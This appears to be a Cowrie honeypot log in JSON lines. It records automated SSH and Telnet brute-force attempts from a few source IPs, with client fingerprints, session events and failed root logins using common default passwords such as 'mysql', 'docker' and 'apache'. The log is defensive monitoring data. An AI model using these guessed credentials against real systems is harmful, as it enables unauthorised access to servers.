{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.508959Z","src_ip":"172.245.43.228","session":"9961def49b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.730821Z","src_ip":"172.245.43.228","session":"9961def49b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:47.908299Z","src_ip":"31.40.204.166","session":"3e7488e9f65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:48.807050Z","src_ip":"172.245.43.228","session":"9961def49b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35564,"dst_ip":"10.17.0.5","dst_port":22,"session":"980e3f092f3c","protocol":"ssh","message":"New connection: 172.245.43.228:35564 (10.17.0.5:22) [session: 980e3f092f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:48.874774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:48.879426Z","src_ip":"172.245.43.228","session":"980e3f092f3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:48.950971Z","src_ip":"172.245.43.228","session":"980e3f092f3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:49.165702Z","src_ip":"172.245.43.228","session":"980e3f092f3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:50.240513Z","src_ip":"172.245.43.228","session":"980e3f092f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35568,"dst_ip":"10.17.0.5","dst_port":22,"session":"6da730a34783","protocol":"ssh","message":"New connection: 172.245.43.228:35568 (10.17.0.5:22) [session: 6da730a34783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:50.306945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:50.312836Z","src_ip":"172.245.43.228","session":"6da730a34783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:50.392420Z","src_ip":"172.245.43.228","session":"6da730a34783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:50.604842Z","src_ip":"172.245.43.228","session":"6da730a34783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:51.682878Z","src_ip":"172.245.43.228","session":"6da730a34783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35582,"dst_ip":"10.17.0.5","dst_port":22,"session":"97798b0d7ebd","protocol":"ssh","message":"New connection: 172.245.43.228:35582 (10.17.0.5:22) [session: 97798b0d7ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:51.752782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:51.757675Z","src_ip":"172.245.43.228","session":"97798b0d7ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:51.829908Z","src_ip":"172.245.43.228","session":"97798b0d7ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:52.045592Z","src_ip":"172.245.43.228","session":"97798b0d7ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.121555Z","src_ip":"172.245.43.228","session":"97798b0d7ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"eda323ecba0e","protocol":"ssh","message":"New connection: 172.245.43.228:35594 (10.17.0.5:22) [session: eda323ecba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.186363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.191046Z","src_ip":"172.245.43.228","session":"eda323ecba0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57172,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2c211dbd8b","protocol":"telnet","message":"New connection: 152.42.224.71:57172 (10.17.0.5:23) [session: 4b2c211dbd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.203449Z"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.264028Z","src_ip":"172.245.43.228","session":"eda323ecba0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:53.523241Z","src_ip":"172.245.43.228","session":"eda323ecba0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:54.597141Z","src_ip":"172.245.43.228","session":"eda323ecba0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58284,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f687582326d","protocol":"ssh","message":"New connection: 172.245.43.228:58284 (10.17.0.5:22) [session: 6f687582326d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:54.665146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:54.669794Z","src_ip":"172.245.43.228","session":"6f687582326d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:54.741040Z","src_ip":"172.245.43.228","session":"6f687582326d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:54.968508Z","src_ip":"172.245.43.228","session":"6f687582326d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57188,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f4741ea1e3e","protocol":"telnet","message":"New connection: 152.42.224.71:57188 (10.17.0.5:23) [session: 4f4741ea1e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:55.320034Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:56.042284Z","src_ip":"172.245.43.228","session":"6f687582326d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58292,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a8ec7b08ab","protocol":"ssh","message":"New connection: 172.245.43.228:58292 (10.17.0.5:22) [session: f2a8ec7b08ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:56.111403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:56.116123Z","src_ip":"172.245.43.228","session":"f2a8ec7b08ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:56.189068Z","src_ip":"172.245.43.228","session":"f2a8ec7b08ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:56.417668Z","src_ip":"172.245.43.228","session":"f2a8ec7b08ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.491747Z","src_ip":"172.245.43.228","session":"f2a8ec7b08ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25afcc57a5e","protocol":"ssh","message":"New connection: 172.245.43.228:58306 (10.17.0.5:22) [session: f25afcc57a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.558994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.564244Z","src_ip":"172.245.43.228","session":"f25afcc57a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.634896Z","src_ip":"172.245.43.228","session":"f25afcc57a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60668,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcefdfef4f05","protocol":"ssh","message":"New connection: 31.40.204.166:60668 (159.203.135.109:22) [session: dcefdfef4f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.822678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.827979Z","src_ip":"31.40.204.166","session":"dcefdfef4f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:57.846847Z","src_ip":"172.245.43.228","session":"f25afcc57a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:58.001038Z","src_ip":"31.40.204.166","session":"dcefdfef4f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:58.508620Z","src_ip":"31.40.204.166","session":"dcefdfef4f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:58.921151Z","src_ip":"172.245.43.228","session":"f25afcc57a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.43.228","src_port":58316,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ce89ac30561","protocol":"ssh","message":"New connection: 172.245.43.228:58316 (10.17.0.5:22) [session: 9ce89ac30561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:58.988096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:38:58.992452Z","src_ip":"172.245.43.228","session":"9ce89ac30561","protocol":"ssh"}
